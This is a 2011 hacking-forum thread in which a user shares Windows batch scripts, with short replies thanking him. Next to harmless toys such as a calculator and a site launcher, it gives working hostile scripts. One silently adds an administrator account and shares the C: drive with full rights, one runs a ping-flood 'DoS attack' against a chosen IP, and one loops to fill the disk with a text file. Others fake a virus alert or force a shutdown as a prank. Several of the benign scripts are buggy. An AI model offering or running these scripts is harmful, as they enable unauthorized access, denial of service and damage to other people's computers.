![]() |
|
My batch file collection! - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Coding (https://sinister.ly/Forum-Coding) +--- Forum: Coding (https://sinister.ly/Forum-Coding--71) +--- Thread: My batch file collection! (/Thread-My-batch-file-collection) Pages:
1
2
|
My batch file collection! - Biggie Smalls - 07-13-2011 A list of batch's I have on my computer Some of these I've made into .exes for often use.Admin account creator: Code: net user /add admin admin
net localgroup administrators admin /add
net share concfg*C\/grant:admin,full
net user admin *Fake virus: Code: @echo off
color a
title Virus detected - computer will delete all files.
cd c:\
dir /sWebsite IP finder: Code: @echo off
title Web unblocker
nslookupLight show (WARNING: Do not run if you have an epileptic condition or anything like that): Code: @echo off
:LOOP
color a7
color c8
color d2
color 22
color 11
color 02
color 39
color 34
GOTO LOOPForce computer shutdown (with message): Code: shutdown -s -f -c "Shutting down computer... LOL FAIL." -t 15Simple DoS attack: Code: @echo off
title Simple DoS
echo.
echo Please enter the server IP
echo.
set /p m=Host:
echo.
set /p n=Packet Size:
echo.
:DoS start
echo Attacking server, exit to stop.
ping %m% -l %n% -t >nul
goto DoS startBatch calculator: Code: @echo off
title Batch Calculator
color 3e
:top
echo Plus is +
echo Subtract is -
echo Multiply is *
echo Divide is /
echo.
set /p sum=
set /a ans=%sum%
echo.
echo = %ans%
echo --------------------------------------------------------------
pause
cls
goto top
pause
exitFolder password checker: Code: @echo off
title Folder Password Checker
:begin
color 0a
set /a tries=5
set password=hackcommunity
:top
echo.
echo ----------------------------------------------
echo.
echo Folder Password
echo.
echo ----------------------------------------------
echo You have %tries% attempts left.
echo Enter password
echo ----------------------------------------------
set /p pass=
if %pass%==%password% (
goto correct
)
set /a tries=%tries -1
if %tries%==0 (
goto penalty
)
cls
goto top
:penalty
echo Sorry, too many incorrect passwords, exiting...
pause
exit
pause
exit
:correct
cls
echo ----------------------------------------------
echo Password Accepted!
echo.
echo Opening Folder...
echo ----------------------------------------------
explorer C:\Documents and Settings
pause
goto :beginThe password for that is "hackcommunity". It will open the documents and settings folder; the only problem is that it's basically useless, and if you want to change the password and/or directory it will open upon entering the correct password you have to edit the code, which is a pain if you're converting this batch to an exe. I suppose it could be edited to be better though... Website selector: Code: @echo off
color 0a
title Site Selector
:top
echo ***************************************************************
echo.
echo [1] Google - Most used and popular search engine
echo [2] Myspace - Boring, unpopular social network
echo [3] Hack Community - The best hacking website on the planet
echo [4] Hotmail - Microsoft's mail server
echo [5] Yahoo - Popular search engine and mail server
echo [6] Facebook - Most used and popular social network
echo [7] CNN - Popular news website
echo [8] Weather - American weather website
echo [9] Wikihow - Popular How-to website
echo [10] Twitter - Stupid social network (IMO)
echo [11] YouTube - Worlds most popular video sharing website
echo [12] Answers - A website where you can ask questions and others will answer them
echo [13] Wikipedia - Online encyclopedia
echo.
echo [e] Exit
echo.
echo ***************************************************************
echo Enter the number of the website which you would like to go to:
echo.
set /p udefine=
echo.
echo ***************************************************************
if %udefine%==1 start www.google.com
if %udefine%==2 start www.myspace.com
if %udefine%==3 start www.hackcommunity.com
if %udefine%==4 start www.hotmail.com
if %udefine%==5 start www.yahoo.com
if %udefine%==8 start www.facebook.com
if %udefine%==9 start www.cnn.com
if %udefine%==10 start www.weather.com
if %udefine%==11 start www.wikihow.com
if %udefine%==12 start www.twitter.com
if %udefine%==13 start www.youtube.com
if %udefine%==14 start www.answers.com
if %udefine%==15 start www.wikipedia.com
if %udefine%==e goto exit
cls
echo ***************************************************************
echo Type [E] to exit or [B] to go back and select another site.
echo.
set /p udefine=
echo.
echo ***************************************************************
if %udefine%==b goto top
if %udefine%==e goto exit
:exit
cls
echo ***************************************************************
pause
exitText file spammer: Code: @echo off
:LOL
echo BLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANK >> blank.txt
goto LOLThat's it for now, I have a lot more on my computer although they're malicious so I might be posting those in a separate thread. I give credit to the guys over at www.instructables.com for some of these, even though I've modified a few. Please take a second to say thanks ![]() Catcha ![]() RE: My batch file collection! - 1337 - 07-14-2011 Nice share. I liked the password checker. RE: My batch file collection! - 1337 - 07-14-2011 Nice share. I liked the password checker. RE: My batch file collection! - mothered - 07-14-2011 Nice one mate. I shall give these a test on my VM over this weekend. Appreciated. RE: My batch file collection! - mothered - 07-14-2011 Nice one mate. I shall give these a test on my VM over this weekend. Appreciated. RE: My batch file collection! - 1llusion - 07-23-2011 Thanks!!!! Will be helpfull! RE: My batch file collection! - Rayiner - 07-23-2011 Awesome work man! Thanks a lot. RE: My batch file collection! - bspro - 07-24-2011 Yup I like the dos attack lol will try some of them later in the noon RE: My batch file collection! - JuiceKing - 07-25-2011 nice collection. thanks for sharing.
RE: My batch file collection! - bspro - 07-25-2011 I hate batch lol it get detected by av easily sian |